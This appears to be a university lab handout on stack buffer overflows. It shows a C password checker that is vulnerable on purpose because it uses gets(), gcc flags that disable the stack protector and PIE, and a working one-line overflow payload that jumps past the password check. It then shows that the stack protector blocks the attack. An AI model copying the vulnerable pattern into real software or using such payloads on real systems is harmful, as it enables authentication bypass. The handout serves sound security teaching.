Among other things, stack protector adds a random canary value that protects the old rbp
address and the function return address. These two addresses determine the stack frame and the address to jump to, when function returns.
A vulnerable program
Consider again one of the examples we have studied in class that you can find in testbed at /home/rookie/StackOverflow/stack-pwd.c
#include <stdio.h> #include <string.h> #include <stdlib.h> int checkpassword() { char s[16]; printf("Insert password: "); fflush(stdout); gets(s); // reads the user password, no check on length! if (strcmp(s, "sEgr3t0") == 0) { return 1; } else { return 0; } } int main(int argc, char *argv[]) { if (checkpassword()) { printf("Authenticated!\n"); exit(EXIT_SUCCESS); } else { printf("Wrong password!\n"); exit(EXIT_FAILURE); } }
Explanation: the program is subject to buffer overflow: the gets(s)
function does not check the length of the input and overflows the buffer boundaries. Since s
is the only variable declared in function checkpassword
, the overflows reaches the end of the stack frame and overwrites the old rbp and the return address.
Attack with no stack protector
In order to see the effect of the overflow when stack protector and randomisation of program/library are off we compile the program disabling them as follows:
$ gcc stack-pwd.c -o stack-pwd -fno-stack-protector --no-pie --static stack-pwd.c: In function 'checkpassword': ... stack-pwd.c:(.text+0x24): warning: the `gets' function is dangerous and should not be used.
The warning on gets
is due to the fact that this function is deprecated for security reasons and should not be used for new applications. However it is still supported in libc for legacy programs.
NOTE: In order to reproduce the exact attacks use the pre-compiled binaries on testbed contained in
/home/rookie/StackOverflow
. Re-compilation might be different if gcc has been updated in the meanwhile.
The attack we have seen in class fills up the buffer with 24 A’s and overwrites the old rbp (8 bytes). The next 8 bytes contain the address 0x400bc4
written little-endian. This address corresponds to the point where printf("Authenticated!\n");
is executed. Intuitively, the attack skips the if
and jumps directly into the branch where password is accepted:
$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAA\xc4\x0b\x40\x00\x00\x00\x00\x00" | ./stack-pwd Insert password: Authenticated!
Stack protector prevents the attack
If the above attack is clear, now you can try to recompile the program without deactivating the stack protector (with no -fno-stack-protector
option) to see how the attack is prevented. The program detects the attack attempt and exits with a message.
The last line (a single word) printed on the terminal is the password for Task 2!